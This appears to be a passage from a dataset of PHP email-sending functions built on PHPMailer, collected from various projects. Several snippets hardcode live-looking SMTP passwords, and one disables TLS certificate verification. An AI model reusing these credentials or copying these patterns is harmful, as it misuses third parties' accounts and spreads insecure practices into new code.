\"E-mail enviado com sucesso!\";\n return true;\n } else {\n// echo \"Não foi possível enviar o e-mail.\";\n// echo \"<b>Informações do erro:</b> \" . $mail->ErrorInfo;\n return $mail->ErrorInfo;\n }\n }", "function envoi_email($email_expediteur, $nom_expediteur, $email_destinataire, $email_retour, $sujet_email, $body_mail)\n{\n\t$mail = new PHPMailer();\n\t$mail->IsMail();\n\t$mail->From = $email_expediteur;\n\t$mail->FromName = $nom_expediteur;\n\t$mail->AddAddress($email_destinataire);\n\t$mail->AddReplyTo($email_retour);\n\t$mail->IsHtml(true);\n\t$mail->Subject = $sujet_email;\n\t$mail->Body= $body_mail;\n\t\n\tif(!$mail->Send())\n\t{ \n\t \treturn FALSE;\n\t}\n\telse\n\t{\t \n\t \treturn TRUE;\n\t}\n}", "function smtpmailer($para, $de, $de_nome, $assunto, $corpo) { \r\n global $error;\r\n $mail = new PHPMailer();\r\n $mail->IsSMTP(); // Ativar SMTP\r\n $mail->SMTPDebug = 0; // Debugar: 1 = erros e mensagens, 2 = mensagens apenas\r\n $mail->SMTPAuth = true; // Autenticação ativada\r\n $mail->SMTPSecure = 'tls'; // SSL REQUERIDO pelo GMail\r\n $mail->Host = 'smtp.ufop.br'; // SMTP utilizado\r\n $mail->Port = 25; // A porta 587 deverá estar aberta em seu servidor\r\n $mail->Username = GUSER;\r\n $mail->Password = GPWD;\r\n $mail->SetFrom($de, $de_nome);\r\n $mail->Subject = $assunto;\r\n $mail->Body = $corpo;\r\n $mail->AddAddress($para);\r\n if(!$mail->Send()) {\r\n $error = 'Mail error: '.$mail->ErrorInfo; \r\n return false;\r\n } else {\r\n $error = 'Mensagem enviada!';\r\n return true;\r\n }\r\n }", "function enviarCorreo($tipo,$nombreUsuario,$nombreCliente,$comentario){\n try{\n $phpmailer = new PHPMailer();\n $phpmailer->Username = \"\"; //Correo de origen\n $phpmailer->Password = \"\"; //Contraseña del correo\n $phpmailer->IsSMTP();\n $phpmailer->Host = \"\"; //servidor de correo\n $phpmailer->Port = 25; //puerto SMTP\n $phpmailer->SMTPAuth = true;\n $phpmailer->From = \"\"; //Correo de origen\n $phpmailer->FromName = \"Nueva incidencia\";\n $phpmailer->AddAddress(\"\"); //Email destino\n $phpmailer->Subject = \"Nueva incidencia\"; //Asunto del correo\n $phpmailer->Body .=\"<h1 style='color:#3498db;'>Nuev@ $tipo</h1>\";\n $phpmailer->Body .= \"<p>Comercial: $nombreUsuario</p>\";\n $phpmailer->Body .= \"<p>Cliente: $nombreCliente</p>\";\n $phpmailer->Body .= \"<p>Comenatario del comercial: $comentario</p>\";\n $phpmailer->Body .= \"<p>Fecha de creacion: \".date(\"d/m/Y h:i:s\").\"</p>\";\n $phpmailer->IsHTML(true);\n if(!$phpmailer->Send()) {\n return \"Error al enviar: \" . $phpmailer->ErrorInfo;\n } else {\n return \"Enviado..\";\n }\n }catch (Exception $e){\n die('Error: ' . $e->getMessage());\n }\n}", "function send_consulenza($c) {\n\n require 'vendor/autoload.php';\n\n $toEmail = \"[email protected]\"; \n\n $mail = new PHPMailer();\n $mail->setFrom('[email protected]', \"Admin\");\n $mail->addReplyTo($c->get_email(), $c->get_nome() . \" \" . $c->get_cognome());\n $mail->addAddress($toEmail, 'Admin'); \n $mail->Subject = 'Richiesta consulenza da ' . $c->get_nome() . \" \" . $c->get_cognome();\n $mail->Body = \"Recapito telefonico: \" . $c->get_phone() . \"\\n\";\n $mail->Body .= $c->get_msg();\n\n if($mail->send()) {\n set_message(\"La tua email è stata inviata con successo\", \"alert-success\");\n } \n else {\n set_message(\"Oops, qualcosa è andato storto: \" . $mail->ErrorInfo, \"alert-danger\"); \n }\n\n}", "function enviarEmailAdministrador($assunto, $descrição, $emailDe, $nomeDe)\n {\n $mail = new PHPMailer();\n // Define os dados do servidor e tipo de conexão\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n// $mail->IsSMTP(); // Define que a mensagem será SMTP\n// $mail->Host = \"smtp.gmail.com\"; // Endereço do servidor SMTP\n// $mail->SMTPAuth = true; // Usa autenticação SMTP? (opcional)\n// $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n// $mail->Password = 'asdasdasd'; // Senha do servidor SMTP\n // Define o remetente\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->From = $emailDe; // Seu e-mail\n $mail->FromName = $nomeDe; // Seu nome\n // Define os destinatário(s)\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->AddAddress('[email protected]', 'Luis Filipe');\n $sql1 = \"select nome,email from utilizador where nivel=1 and activo=1\";\n $resultado1=$this->bd->executarSQL($sql1);\n while ($row1 = $resultado1->fetch(PDO::FETCH_ASSOC)) {\n $mail->AddAddress($row1['email'], $row1['nome']);\n }\n// $mail->AddAddress('[email protected]');\n //$mail->AddCC('[email protected]', 'Ciclano'); // Copia\n //$mail->AddBCC('[email protected]', 'Fulano da Silva'); // Cópia Oculta\n // Define os dados técnicos da Mensagem\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->IsHTML(true); // Define que o e-mail será enviado como HTML\n //$mail->CharSet = 'iso-8859-1'; // Charset da mensagem (opcional)\n // Define a mensagem (Texto e Assunto)\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->Subject = utf8_decode($assunto); // Assunto da mensagem\n $mail->Body = utf8_decode($descrição);\n $mail->AltBody = utf8_decode($assunto);\n // Define os anexos (opcional)\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n //$mail->AddAttachment(\"c:/temp/documento.pdf\", \"novo_nome.pdf\"); // Insere um anexo\n // Envi a o e-mail\n $enviado = $mail->Send();\n // Limpa os destinatários e os anexos\n $mail->ClearAllRecipients();\n $mail->ClearAttachments();\n // Exibe uma mensagem de resultado\n if ($enviado) {\n// echo \"E-mail enviado com sucesso!\";\n return true;\n } else {\n// echo \"Não foi possível enviar o e-mail.\";\n// echo \"<b>Informações do erro:</b> \" . $mail->ErrorInfo;\n return $mail->ErrorInfo;\n }\n }", "function enviaCorreo($nombre, $correo)\n{\n //Determinar horario y zona\n date_default_timezone_set('America/Mexico_City');\n setlocale(LC_TIME, 'es_MX.UTF-8');\n $fecha_hora = date(\"Y-m-d H:i:s\");\n require(\"./lib-mail/class.phpmailer.php\");\n $mail = new PHPMailer();\n $mail->IsSMTP();\n $mail->CharSet = 'UTF-8';\n\n $contacto = \"[email protected]\";\n $pwd_contacto = \"holaMundo123\";\n $para = $correo; //Para enviar el correo al que se anuncia\n\n //Asignar al host que manejaremos\n $mail->Host = \"smtp.hostinger.com\";\n $mail->SMTPAuth = true;\n $mail->Username = $contacto;//Correo electronico para SMTP\n $mail->Password = $pwd_contacto;//Contraseña para SMTP\n\n //destino\n $mail->From = $contacto;\n $mail->FromName = 'Portal Autos Torres';\n $mail->AddAddress($para);\n //opcional\n $mail->addCC('[email protected]');\n\n $mail->Port = 587;\n $mail->IsHTML(true);\n $mail->Subject = \"Gracias por contactarnos\";\n $mail->Body = '\n <div style=\"background-color:#f4f4f4\">\n <span class=\"preheader\" style=\"color: transparent; display: none; height: 0; max-height: 0; max-width: 0; opacity: 0; overflow: hidden; mso-hide: all; visibility: hidden; width: 0;\"></span> \n <div style=\"Margin:0px auto;max-width:600px\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"width:100%\">\n <tbody>\n <tr>\n <td style=\"direction:ltr;font-size:0px;padding:20px 0;padding-bottom:0px;padding-top:0px;text-align:center;vertical-align:top\">\n <div class=\"m_2518046461046522955mj-column-per-100 m_2518046461046522955outlook-group-fix\" style=\"font-size:13px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"vertical-align:top\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"center\" style=\"font-size:0px;padding:10px 25px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-break:break-word\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"border-collapse:collapse;border-spacing:0px\">\n <tbody>\n <tr>\n <td style=\"width:600px\">\n <a href=\"https://houselink.info\" target=\"_blank\" data-saferedirecturl=\"https://www.google.com/url?q=https://houselink.info\">\n <img alt=\"\" height=\"auto\" src=\"https://ci4.googleusercontent.com/proxy/Po-LEee6KkQ92jHbvXJOCjdUxW2gKhzL8ZJB09VrOLxrLnpRqx-6_aiyPFHZsRM5tKrOAUer8wr2f522e0wEC8Q=s0-d-e1-ft#http://kj1x.mjt.lu/img/kj1x/b/lmnt4/mwtmx.jpeg\" style=\"border:none;border-radius:px;display:block;outline:none;text-decoration:none;height:auto;width:100%\" title=\"\" width=\"600\" class=\"CToWUd\">\n </a>\n </td>\n </tr>\n </tbody>\n </table>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n <div style=\"background:#ffffff;background-color:#ffffff;Margin:0px auto;max-width:600px\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"background:#ffffff;background-color:#ffffff;width:100%\">\n <tbody>\n <tr>\n <td style=\"direction:ltr;font-size:0px;padding:20px 0px 20px 0px;padding-bottom:5px;padding-top:5px;text-align:center;vertical-align:top\">\n <div class=\"m_2518046461046522955mj-column-per-100 m_2518046461046522955outlook-group-fix\" style=\"font-size:13px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"vertical-align:top\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"left\" style=\"font-size:0px;padding:0px 25px 0px 25px;padding-top:5px;padding-bottom:0px;word-break:break-word\">\n <div style=\"font-family:Arial,sans-serif;font-size:13px;line-height:22px;text-align:left;color:#55575d\">\n <h1 style=\"font-size:20px;font-weight:bold\"><span style=\"font-size:16px\">Xin chào ${user},</span></h1>\n </div>\n </td>\n </tr>\n <tr>\n <td align=\"left\" style=\"font-size:0px;padding:0px 25px 0px 25px;padding-top:0px;padding-bottom:0px;word-break:break-word\">\n <div style=\"font-family:Arial,sans-serif;font-size:13px;line-height:22px;text-align:left;color:#55575d\">\n <p style=\"font-size:13px;margin:10px 0\">${message}</p>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n <div style=\"background:#ffffff;background-color:#ffffff;Margin:0px auto;max-width:600px\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"background:#ffffff;background-color:#ffffff;width:100%\">\n <tbody>\n <tr>\n <td style=\"direction:ltr;font-size:0px;padding:20px 0;padding-bottom:0px;padding-top:0px;text-align:center;vertical-align:top\">\n <div class=\"m_2518046461046522955mj-column-per-100 m_2518046461046522955outlook-group-fix\" style=\"font-size:13px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"vertical-align:top\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"left\" style=\"font-size:0px;padding:0px 25px 0px 25px;padding-top:5px;padding-bottom:0px;word-break:break-word\">\n </td>\n </tr>\n <tr>\n <td align=\"left\" style=\"font-size:0px;padding:0px 25px 0px 25px;padding-top:0px;padding-bottom:0px;word-break:break-word\">\n <div style=\"font-family:Arial,sans-serif;font-size:13px;line-height:22px;text-align:left;color:#55575d\">\n ${customArea}\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n <div style=\"background:#ffffff;background-color:#ffffff;Margin:0px auto;max-width:600px\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"background:#ffffff;background-color:#ffffff;width:100%\">\n <tbody>\n <tr>\n <td style=\"direction:ltr;font-size:0px;padding:20px 0;padding-bottom:1px;padding-top:10px;text-align:center;vertical-align:top\">\n <div class=\"m_2518046461046522955mj-column-per-100 m_2518046461046522955outlook-group-fix\" style=\"font-size:13px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"vertical-align:top\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"left\" style=\"font-size:0px;padding:10px 25px;padding-top:5px;padding-right:20px;padding-bottom:5px;padding-left:20px;word-break:break-word\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"border-collapse:separate;line-height:100%\">\n <tbody>\n <tr>\n <td align=\"center\" bgcolor=\"#1675A9\" role=\"presentation\" style=\"border:1px solid #e7e7e7;border-radius:3px;padding:10px 15px 10px 15px;background:#1675a9\" valign=\"middle\">\n <p style=\"background:#1675a9;color:#ffffff;font-family:Arial,sans-serif;font-size:13px;font-weight:normal;line-height:120%;Margin:0;text-decoration:none;text-transform:none\">\n <a href=\"https://houselink.info\" style=\"color:#ffffff;text-decoration:none;\"><span style=\"color:#ffffff;\"><b>Truy cập HOUSELINK</b></span></a>\n </p>\n </td>\n </tr>\n </tbody>\n </table>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n <div style=\"background:#ffffff;background-color:#ffffff;Margin:0px auto;max-width:600px\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"background:#ffffff;background-color:#ffffff;width:100%\">\n <tbody>\n <tr>\n <td style=\"direction:ltr;font-size:0px;padding:20px 0;padding-bottom:10px;padding-top:1px;text-align:center;vertical-align:top\">\n <div class=\"m_2518046461046522955mj-column-per-100 m_2518046461046522955outlook-group-fix\" style=\"font-size:13px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"vertical-align:top\" width=\"100%\">\n <tbody>\n <tr>\n <td style=\"font-size:0px;padding:10px 25px;padding-right:0px;padding-left:0px;word-break:break-word\">\n <p style=\"border-top:solid 2px #e7e7e7;font-size:1;margin:0px auto;width:100%\">\n </p>\n </td>\n </tr>\n <tr>\n <td align=\"left\" style=\"font-size:0px;padding:10px 25px;padding-top:0px;padding-bottom:0px;word-break:break-word\">\n <div style=\"font-family:Arial,sans-serif;font-size:13px;line-height:22px;text-align:left;color:#55575d\">\n <p style=\"font-size:13px;line-height:8px;margin:10px 0\"><b>HOUSELINK JSC.,</b></p>\n <p style=\"font-size:13px;line-height:8px;margin:10px 0\">Level 9, Sannam tower, 78 Duy Tan St,&nbsp;Cau Giay Dist , Hanoi, Vietnam</p>\n <p style=\"font-size:13px;line-height:8px;margin:10px 0\">T:&nbsp;(84-24) 3795 5620 | F:&nbsp;(84-24) 3795 5620</p>\n <p style=\"font-size:13px;line-height:8px;margin:10px 0\">E: <a href=\"mailto:[email protected]\" target=\"_blank\">[email protected]</a></p>\n <p style=\"font-size:13px;line-height:8px;margin:10px 0\"><u>Terms of Use</u>&nbsp;|&nbsp;<u>Privacy Policy©</u>&nbsp;</p>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n <div style=\"Margin:0px auto;max-width:600px\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"width:100%\">\n <tbody>\n <tr>\n <td style=\"direction:ltr;font-size:0px;padding:20px 0px 20px 0px;padding-bottom:0px;padding-top:0px;text-align:center;vertical-align:top\">\n <div class=\"m_2518046461046522955mj-column-per-100 m_2518046461046522955outlook-group-fix\" style=\"font-size:13px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"vertical-align:top\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"center\" style=\"font-size:0px;padding:0px 20px 0px 20px;padding-top:0px;padding-right:15px;padding-bottom:0px;word-break:break-word\">\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n</div>\n ';\n return $mail->Send();\n}", "function enviarEmail($asunto, $cuerpo)\n {\n require_once '../../login/PHPMailer/PHPMailerAutoload.php'; //lebreria phpmailer se usa para el funcionamiento del envio de correo\n $mail = new PHPMailer();\n $mail->isSMTP(); // protocolo de transferencia de correo\n $mail->SMTPAuth = true;\n $mail->SMTPSecure = 'ssl'; //habilita la encriptacion SSL\n $mail->Host = 'smtp.gmail.com'; // Servidor GMAIL\n $mail->Port = 465; //puerto\n $mail->Username = '[email protected]'; //correo emisor\n $mail->Password = 'lapizzeria2019'; //contraseña del correo del emisor\n $mail->setFrom('[email protected]', 'La Pizzeria'); //se establece quien envia el correo\n $mail->addAddress('[email protected]', 'Raul'); //email y nombre del receptor guardados en sus respectivas variables\n $mail->Subject = $asunto; //se configura cual es el asunto del correo\n $mail->Body = $cuerpo; //se configura cual es el cuerpo del correo\n $mail->IsHTML(true);\n if ($mail->send())\n return true;\n else\n return false;\n }", "function enviamail($datos) {\n //Create a new PHPMailer instance\n // Crear una nueva instancia de PHPMailer habilitando el tratamiento de excepciones\n try {\n $mail = new PHPMailer(true);\n// Configuramos el protocolo SMTP con autenticación\n $mail->IsSMTP();\n $mail->SMTPAuth = true;\n// Puerto de escucha del servidor\n $mail->Port = 587;\n// Dirección del servidor SMTP\n $mail->Host = 'mail.dentalia.com.mx';\n// Usuario y contraseña para autenticación en el servidor\n $mail->Username = \"[email protected]\";\n $mail->Password = \"x#l%=pcDw,TS\";\n $mail->SMTPOptions = array(\n 'ssl' => array(\n 'verify_peer' => false,\n 'verify_peer_name' => false,\n 'allow_self_signed' => true\n )\n );\n\n//Set who the message is to be sent from\n $mail->setFrom('[email protected]', 'Dentalia');\n//Set an alternative reply-to address\n $mail->addReplyTo('[email protected]', 'Dentalia');\n//Set who the message is to be sent to\n //$mail->addAddress('[email protected]', 'Geovanny De Leon');\n $nombre = $datos['nombre'] . \" \" . $datos['apaterno'] . \" \" . $datos['amaterno'];\n $mail->addAddress($datos['email'], $nombre);\n //$mail->addCC('[email protected]', 'Geovanny De Leon');\n//Set the subject line\n $mail->Subject = utf8_decode('Confirmación de Cita en dentalia');\n//Read an HTML message body from an external file, convert referenced images to embedded,\n//convert HTML into a basic plain-text alternative body\n $msj = file_get_contents('parts/mailer.html');\n $replacename = str_replace(\"{patname}\", $nombre, $msj);\n $replaceclnic = str_replace(\"{nombreclinic}\", $datos['cliname'], $replacename);\n $dia = date(\"l\", strtotime($datos['fecha']));\n\n if ($dia == \"Monday\")\n $dia = \"Lunes\";\n if ($dia == \"Tuesday\")\n $dia = \"Martes\";\n if ($dia == \"Wednesday\")\n $dia = \"Miércoles\";\n if ($dia == \"Thursday\")\n $dia = \"Jueves\";\n if ($dia == \"Friday\")\n $dia = \"Viernes\";\n if ($dia == \"Saturday\")\n $dia = \"Sábado\";\n if ($dia == \"Sunday\")\n $dia = \"Domingo\";\n\n $mes = date(\"F\", strtotime($datos['fecha']));\n\n if ($mes == \"January\")\n $mes = \"Enero\";\n if ($mes == \"February\")\n $mes = \"Febrero\";\n if ($mes == \"March\")\n $mes = \"Marzo\";\n if ($mes == \"April\")\n $mes = \"Abril\";\n if ($mes == \"May\")\n $mes = \"Mayo\";\n if ($mes == \"June\")\n $mes = \"Junio\";\n if ($mes == \"July\")\n $mes = \"Julio\";\n if ($mes == \"August\")\n $mes = \"Agosto\";\n if ($mes == \"September\")\n $mes = \"Setiembre\";\n if ($mes == \"October\")\n $mes = \"Octubre\";\n if ($mes == \"November\")\n $mes = \"Noviembre\";\n if ($mes == \"December\")\n $mes = \"Diciembre\";\n $dia2 = date(\"d\", strtotime($datos['fecha']));\n $ano = date(\"Y\", strtotime($datos['fecha']));\n $replacefecha = str_replace(\"{fecha}\", $dia . \", \" . $dia2 . \" de \" . $mes . \" de \" . $ano, $replaceclnic);\n $hor = explode(\"-\", $datos['horai']);\n $horaini = date('h:ia', strtotime($hor[0]));\n $horaend = date('h:ia', strtotime($hor[1]));\n $horaconc = $horaini . \" a \" . $horaend;\n $replacef = str_replace(\"{horario}\", $horaconc, $replacefecha);\n\n// $ruta = \"webcal://\" . $_SERVER[\"SERVER_NAME\"] . \"/parts/evento.ics\";\n// /* reemplazamos para el calendario */\n// $replaceCal = str_replace(\"{ruta}\", $ruta, $replacef);\n\n $final = str_replace(\"{dirclinic}\", $datos['clidir'], $replacef);\n\n\n $mail->msgHTML(utf8_decode($final));\n\n\n// var_dump($final);\n// echo \"cual es el error?\";\n if ($mail->send()) {\n //echo \"Message sent!\";\n return true;\n } else {\n echo \"Mailer Error: \" . $mail->ErrorInfo;\n }\n } catch (Exception $e) {\n echo 'informacion sobre el mail: ', $e->getMessage(), \"\\n\";\n }\n }", "function enviar(){\n\t\t$mail = new PHPMailer();\n\t\t\n\t\t// Define os dados do servidor e tipo de conexão\n\t\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\t\t$mail->IsSMTP(); // Define que a mensagem será SMTP\n\t\t$mail->Host = 'ssl://smtp.gmail.com:465';\n\t\t$mail->SMTPAuth = true; // Usa autenticação SMTP? (opcional)\n\t\t$mail->Port = $this->configPort;\n\t\t$mail->Username = $this->configUsuario; // Usuário do servidor SMTP\n\t\t$mail->Password = $this->configSenha; // Senha do servidor SMTP\n\t\t$mail->SMTPSecure = \"ssl\"; \n\t\t$mail->SMTPKeepAlive = true; \n\t\t$mail->Mailer = \"smtp\"; \n\t\t$mail->CharSet = 'utf-8'; \n\t\t$mail->SMTPDebug = 0; \n\t\t\n\t\t// Define o remetente\n\t\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\t\t$mail->From = $this->remetenteEmail; // Seu e-mail\n\t\t$mail->FromName = $this->remetenteNome; // Seu nome\n\t\t\n\t\t// Define os destinatário(s)\n\t\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\t\tif(isset($this->paraEmail)){\t\n\t\t$mail->AddAddress(''. $this->paraEmail. '',''.$this->nomeEmail.'');\n\t\t}\n\t\tif(isset($this->copiaEmail)){\n\t\t$mail->AddCC(''.$this->copiaEmail.'', ''.$this->copiaNome.''); // Copia\n\t\t}\n\t\tif(isset($this->copiaOculta)){\n\t\t$mail->AddBCC(''.$this->copiaOculta.'', ''.$this->nomeCopiaOculta.''); // Cópia Oculta\n\t\t}\n\t\t// Define os dados técnicos da Mensagem\n\t\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\t\t$mail->IsHTML(true); // Define que o e-mail será enviado como HTML\n\t\t$mail->CharSet = 'utf-8'; // Charset da mensagem (opcional)\n\t\t\n\t\t// Define a mensagem (Texto e Assunto)\n\t\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\t\t$mail->Subject = \"\".$this->assuntoEmail.\"\"; // Assunto da mensagem\n\t\t$mail->Body = \"\".$this->conteudoEmail.\"\";// Conteudo da mensagem a ser enviada\n\t\t$mail->AltBody = \"Por favor verifique seu leitor de email.\";\n\t\t\n\t\t// Define os anexos (opcional)\n\t\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\t\tif(!empty($this->anexo)){\n\t\t$mail->AddAttachment(\"\".$this->anexo.\"\"); // Insere um anexo\n\t\t}\n\t\t// Envia o e-mail\n\t\t$enviado = $mail->Send();\n\t\t\n\t\t// Limpa os destinatários e os anexos\n\t\t$mail->ClearAllRecipients();\n\t\t$mail->ClearAttachments();\n\t\t\n\t\t// Exibe uma mensagem de resultado\n\t\tif($this->confirmacao == 1){\n\t\t\tif ($enviado) {\n\t\t\techo $this->mensagem;\n\t\t\t} else {\n\t\t\t\techo $this->erroMsg;\n\t\t\t\tif($this->confirmacaoErro == 1){\n\t\t\t\t\techo \"<b>Informações do erro:</b> <br />\" . $mail->ErrorInfo;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}", "static function enviarEmail($destinatario, $processo) {\n switch ($processo) {\n case 1: //enviar documentacao de formalizacao\n //pegando email do aluno\n $formalizacao = DB::table('formalizacao')\n ->join('aluno', 'formalizacao.idAluno', '=', 'aluno.idAluno')\n ->where('aluno.idAluno', '=', $destinatario)\n ->select('formalizacao.*', 'aluno.nome as nomeAluno', 'aluno.email as emailAluno', 'aluno.*')\n ->get();\n\n $emailDestinatario = $formalizacao[0]->emailAluno;\n $nomeDestinatario = $formalizacao[0]->nomeAluno;\n// $emailDestinatario = \"[email protected]\";\n// $nomeDestinatario = \"Emerson Gabriel\";\n\n $mail = new PHPMailer(); // create a n\n $mail->CharSet = \"UTF-8\";\n $mail->IsSMTP(); // Define que o e-mail será no protocol SMTP\n $mail->Host = \"mail.pwlunar.com\"; //endereço do servidor\n\n $mail->SMTPAuth = true; // Usa autenticação SMTP? (opcional)\n $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n// $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n $mail->Password = 'D01sdvp14'; // Senha do servidor SMTP\n // REMETENTE =====\n $mail->From = \"[email protected]\"; // Seu e-mail\n $mail->FromName = \"TECWEBC\"; // Seu nome \n $mail->Port = 587; //porta smtp\n\n// echo getcwd() . '<br>';\n// echo dirname(__FILE__) . '<br>';\n// echo basename(__DIR__) . '<br>'; \n// $mail->addAttachment(\"uploads/\".\"teste.pdf\");\n $mail->addAttachment(\"uploads/Documentos/Formalizacao/\".\"apendiceB.pdf\");\n\n $nome = $formalizacao[0]->nomeAluno;\n $titulo = $formalizacao[0]->titulo;\n $telefone = $formalizacao[0]->telefone;\n $cpf = $formalizacao[0]->cpf;\n $menssagem = \"Confirme seus dados enviados neste e-mail.\";\n $data = date('d/m/Y');\n $hora = date('H:i:s');\n\n $mail->IsHTML(true);\n\n $mail->AddAddress($emailDestinatario, $nomeDestinatario);\n\n $mail->Subject = \"Contato de teste pelo TECWEBC\"; // assunto da mensagem\n $mail->Body = \"\n <!DOCTYPE html>\n <html lang='pt-br'>\n <head>\n <meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>\n <style> \n table {font-family: arial, sans-serif;border-collapse: collapse}td, th {text-align: left;padding: 8px;}tr:nth-child(even) {background-color: #dddddd;}\n </style>\n </head>\n <body style='margin: 20px 0'>\n <p>\n Preencha os documentos anexados neste e-mail e encaminhe até a direção.\n </p>\n <table>\n <tbody> \n <tr>\n <td colspan='2' style='text-align: center' >\n <img alt='' height='100' src='---------'>\n </td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Nome</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $nome . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Telefone</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $telefone . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Título</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $titulo . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>CPF</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $cpf . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Mensagem</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $menssagem . \"</td>\n </tr>\n </tbody>\n <tbody>\n <tr>\n <td>\n <p style='color: #737478;font-size: 12px'>Enviado às \" . $hora . \", \" . $data . \"</p>\n </td>\n </tr>\n </tbody>\n </table>\n </body>\n </html>\";\n $enviado = $mail->Send(); // enviando email\n\n $mail->ClearAllRecipients();\n $mail->ClearAttachments();\n\n if ($enviado = 1) {\n return \"1\";\n } else {\n return \"0\";\n }\n\n break;\n case 2:\n \n //pegando email do aluno\n $formalizacao = DB::table('formalizacao')\n ->join('aluno', 'formalizacao.idAluno', '=', 'aluno.idAluno')\n ->where('formalizacao.idFormalizacao', '=', $destinatario)\n ->select('formalizacao.*', 'aluno.nome as nomeAluno', 'aluno.email as emailAluno', 'aluno.*')\n ->get();\n\n $emailDestinatario = $formalizacao[0]->emailAluno;\n $nomeDestinatario = $formalizacao[0]->nomeAluno;\n echo $emailDestinatario;\n echo $nomeDestinatario;\n// $emailDestinatario = \"[email protected]\";\n// $nomeDestinatario = \"Emerson Gabriel\";\n\n $mail = new PHPMailer(); // create a n\n $mail->CharSet = \"UTF-8\";\n $mail->IsSMTP(); // Define que o e-mail será no protocol SMTP\n $mail->Host = \"mail.pwlunar.com\"; //endereço do servidor\n\n $mail->SMTPAuth = true; // Usa autenticação SMTP? (opcional)\n $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n// $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n $mail->Password = 'D01sdvp14'; // Senha do servidor SMTP\n // REMETENTE =====\n $mail->From = \"[email protected]\"; // Seu e-mail\n $mail->FromName = \"TECWEBC\"; // Seu nome \n $mail->Port = 587; //porta smtp\n\n// echo getcwd() . '<br>';\n// echo dirname(__FILE__) . '<br>';\n// echo basename(__DIR__) . '<br>'; \n// $mail->addAttachment(\"uploads/\".\"teste.pdf\");\n $mail->addAttachment(\"uploads/Documentos/RelatorioFrequenciaAtividade/\".\"apendiceG.pdf\");\n 